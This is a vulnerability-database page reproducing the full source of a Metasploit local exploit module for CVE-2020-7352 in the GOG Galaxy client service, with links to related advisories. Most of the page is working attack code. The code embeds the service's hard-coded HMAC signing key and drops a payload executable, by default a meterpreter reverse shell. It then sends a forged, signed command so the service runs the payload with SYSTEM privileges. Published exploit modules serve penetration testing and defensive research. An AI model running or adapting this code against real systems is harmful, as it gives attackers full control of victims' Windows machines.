Lucene search
K

GOG GalaxyClientService Privilege Escalation

🗓️ 15 Jun 2020 00:00:00Reported by Joe TestaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 730 Views

GOG GalaxyClientService Privilege Escalation module for Window

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GOG GalaxyClientService Privilege Escalation Exploit
15 Jun 202000:00
zdt
GithubExploit
Exploit for Use of Hard-coded Credentials in Gog Galaxy
16 Feb 202417:14
githubexploit
Circl
CVE-2020-7352
15 Jun 202014:42
circl
CNVD
GOG Galaxy Privilege Permission and Access Control Issues Vulnerability (CNVD-2021-25692)
17 Jun 202000:00
cnvd
CVE
CVE-2020-7352
6 Aug 202015:45
cve
Cvelist
CVE-2020-7352 GOG Galaxy GalaxyClientService Privilege Escalation
6 Aug 202015:45
cvelist
Metasploit
GOG GalaxyClientService Privilege Escalation
18 May 202021:09
metasploit
NVD
CVE-2020-7352
6 Aug 202016:15
nvd
OSV
CVE-2020-7352
6 Aug 202016:15
osv
Prion
Design/Logic Flaw
6 Aug 202016:15
prion
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/windows/services'  
require 'openssl'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::Priv  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GOG GalaxyClientService Privilege Escalation',  
'Description' => %q{  
This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed  
with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are  
also likely affected).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Joe Testa <jtesta[at]positronsecurity.com>'  
],  
'Platform' => [ 'win' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
[  
[  
'Windows (Dropper)',  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },  
'Type' => :dropper  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 28 2020',  
'References' =>  
[  
['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],  
['CVE', '2020-7352']  
],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),  
OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])  
]  
)  
end  
  
def check  
log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')  
service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')  
  
return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)  
return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)  
  
log_data = read_file(log_path)  
unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data  
return CheckCode::Detected('Unable to determine version from log file')  
end  
  
return CheckCode::Detected('Galaxy Client version not found') unless ver_no  
  
version = Gem::Version.new(ver_no)  
  
return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')  
  
CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")  
end  
  
def exploit  
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?  
fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'  
  
# The HMAC-SHA512 key for signing file_paths.  
key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"  
key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"  
key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"  
key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"  
key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"  
key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"  
  
# Start the GalaxyClientService. It will automatically terminate after ~10  
# seconds of inactivity, so we don't need to bother shutting it down later.  
print_status('Starting GalaxyClientService...')  
ret = service_start('GalaxyClientService')  
if ret == 0  
print_status('Service started successfully.')  
elsif (ret == 1056) || (ret == 1)  
print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.')  
else  
print_status("Service status unknown (return code: #{ret}). Continuing anyway...")  
end  
  
print_status('Connecting to service...')  
  
# Create a TCP socket.  
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')  
s = handler['return']  
  
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).  
# This only affects the recv(), not connect().  
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)  
  
# Set the socket address structure to localhost:9978.  
sock_addr = "\x02\x00"  
sock_addr << [9978].pack('n')  
sock_addr << Rex::Socket.addr_aton('127.0.0.1')  
sock_addr << "\x00" * 8  
  
# Connect to the service. Retry up to 3 times, waiting 2 seconds in  
# between.  
connected = false  
retries = 0  
while (retries < 3) && (connected == false)  
retries += 1  
handler = client.railgun.ws2_32.connect(s, sock_addr, 16)  
if handler['GetLastError'] == 0  
connected = true  
else  
print_warning('Connection failed. Waiting 2 seconds and trying again...')  
Rex.sleep(2)  
end  
end  
  
fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected  
  
data = build_payload(key)  
print_status('Connected to service. Sending payload...')  
  
# Here, we are calling client.railgun.ws2_32.send(). However, there's a bug  
# somewhere in the railgun system such that send() is never called. It  
# seems that some mystery code is intercepting send() instead of letting it  
# get to LibraryWrapper.method_missing() (perhaps 'send' is a special case  
# somewhere? The other ws2_32 functions work just fine...). To work around  
# this problem, we will simply call it directly with call_function().  
send_func = client.railgun.ws2_32.functions['send']  
client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)  
  
# Read the server's response. On error, it returns nothing.  
response = "\x00" * 512  
handler = client.railgun.ws2_32.recv(s, response, response.length, 0)  
  
# Convert the unsigned return value to a signed value.  
ret = [handler['return'].to_i].pack('l').unpack1('l')  
if ret <= 0  
print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(")  
else  
print_good('Command executed successfully!')  
end  
  
client.railgun.ws2_32.closesocket(s)  
end  
  
def build_payload(key)  
working_dir = datastore['WORKING_DIR']  
  
header1 = "\x00\x93\x08\x04\x10\x01\x18"  
header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"  
  
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"  
file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")  
payload_data = generate_payload_exe  
  
print_status("Writing #{file_path} to target")  
write_file(file_path, payload_data)  
register_file_for_cleanup(file_path)  
  
gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"  
gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"  
  
payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)  
header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation